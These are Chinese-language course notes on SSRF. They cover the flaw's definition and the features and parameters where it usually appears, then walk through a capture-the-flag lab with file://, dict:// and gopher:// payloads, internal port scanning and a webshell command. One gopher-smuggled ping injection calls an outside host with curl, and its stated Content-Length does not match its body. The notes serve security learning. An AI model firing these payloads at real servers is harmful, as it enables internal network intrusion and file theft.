SSRF 漏洞原理与实战笔记
笔记整理自小迪安全课程,记录了 SSRF 漏洞的定义、探测手法以及完整的靶场实战过程。
一、SSRF 概述
SSRF(Server-Side Request Forgery,服务器端请求伪造) 是指:前端用户可以传入任意 URL 到后端服务器,而服务器未对 URL 进行严格的过滤与校验,导致攻击者能够构造恶意 URL,让后端服务器代为发起请求。
二、主要安全影响
- 读取服务器本地文件(如
file:///etc/passwd) - 探测内网存活主机及开放端口
- 攻击内网其他服务器及服务(如 Redis、MySQL、HTTP 服务等)
三、黑盒探针
1. 常见业务功能点
以下功能点常出现 SSRF 漏洞:
- 社交分享:获取超链接标题、简介等内容展示
- 转码服务:通过 URL 将原网页内容适配手机屏幕
- 在线翻译:翻译指定网址的页面内容
- 图片加载 / 下载:富文本编辑器中的远程图片加载
- 图片 / 文章收藏:提取 URL 的 title 或文本内容
- 云服务厂商:远程执行命令检测网站存活
- 网站采集 / 抓取:输入 URL 进行信息采集
- 数据库内置功能:如 MongoDB 的
copyDatabase - 邮件系统:如接收邮件服务器地址
- 编码/文件处理:如 ffmpeg、ImageMagick、docx、pdf、XML 处理器
- 未公开 API 及其他扩展调用 URL 的功能(可通过 Google 语法配合关键字挖掘)
2. 常见 URL 关键参数
share, wap, url, link, src, source, target, u, display, sourceURl, imageURL, Domain四、漏洞演示(简单示例)
通过构造不同的 URL 协议,可以让服务器访问内外网资源:
除此之外,还支持sftp、ldap、tftp等协议,因环境限制未测试。
五、SSRF-Labs 综合靶场实战(Hello-CTF 系列)
1. 协议测试与边界探测
通过测试发现 http:// 和 https:// 协议有回显,且能访问内网,确认 SSRF 漏洞存在。
靶场协议测试边界测试记录
http://127.0.0.1
file:///etc/hosts
dict://127.0.0.1:80
gopher://127.0.0.1:80/_GET / HTTP/1.1%0d%0aHost:127.0.0.1%0d%0a%0d%0a2. 内网情报收集(SSRF 跳板探测)
利用 file:///etc/hosts 读取主机信息,发现 Docker 内网网段:
172.72.23.0/24内网其他靶机位于:172.72.23.22 ~ 172.72.23.27
读取 hosts网络说明:
- Docker Compose 启动时会创建虚拟网桥,容器自动分配同网段 IP(如
172.72.23.*)。- 若出现
192.*网段,则可能是因为配置了多网桥或容器多网卡。
3. Burp Suite 爆破内网服务
抓取请求,发送到 Burp Intruder,爆破内网 IP 段和端口。
Burp 爆破1
Burp 爆破2
Burp 爆破3结果分析
- 响应长度 562 和 228 的请求被重点关注。
通过返回内容判断:
172.72.23.22、23、24、25的 80 端口开放 Web 服务172.72.23.26、27的 80 端口关闭
推荐策略:
- 第一遍用“狙击手”模式扫 IP 段(1-255),分析响应长度异常的主机。
- 第二遍用“集束炸弹”模式扫端口。
4. 各内网主机深入分析
172.72.23.22
访问 http://172.72.23.22 返回:
<p>index.php</p><p>shell.php</p>访问 http://172.72.23.22/shell.php 得到 Shell 页面:
22返回尝试执行命令获取 flag:
http://172.72.23.22/shell.php?cmd=cat /flag成功获取 flag:
22-get-flag172.72.23.23
访问 http://172.72.23.23/index.php 显示为 SQL 数据库相关页面,后续可用 SQLMap 进一步测试。
23sql172.72.23.24(利用 Gopher 协议)
访问 http://172.72.23.24 发现存在 /ping.php,但该页面只接收 POST 方式提交参数 ip。
24gopher由于当前 SSRF 只能发送 GET 请求,需要使用 Gopher 协议 模拟 POST 请求。
Gopher 语法:
gopher://ip:port/_TCP/IP数据流构造 POST 请求原始数据包:
POST /ping.php HTTP/1.1
Host: 172.72.23.24
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
target=127.0.0.1;curl http://jalfrvtwki.lfcx.eu.org⚠️ 注意:Content-Length 必须严格等于 body 的字节数,否则 PHP 不会解析 POST 数据。生成 Payload 步骤:
- 将上述 HTTP 请求进行 URL 编码(第一次编码)
- 将
gopher://172.72.23.24:80/_+ 编码后的数据 再进行 URL 编码(第二次编码) - 最终 Payload 放入
url=参数中发送
最终 Burp 请求示例:
24gopherburp六、总结
SSRF 漏洞危害巨大,常作为内网渗透的跳板。防御上应严格限制 URL 协议、过滤内网 IP、禁止访问敏感端口,并对用户输入的 URL 进行白名单校验。



